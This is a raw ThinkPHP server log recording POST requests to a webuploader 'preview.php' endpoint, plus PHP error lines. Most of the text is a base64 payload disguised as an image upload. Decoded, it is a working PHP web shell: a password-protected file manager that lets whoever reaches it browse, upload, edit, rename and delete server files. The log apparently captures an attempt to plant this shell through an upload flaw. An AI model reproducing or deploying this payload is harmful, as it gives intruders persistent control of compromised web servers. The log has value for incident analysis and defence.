obyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:57+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/libs/webuploader/0.1.15/server/preview.php [运行时间:0.002762s] [吞吐率:362.05req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZ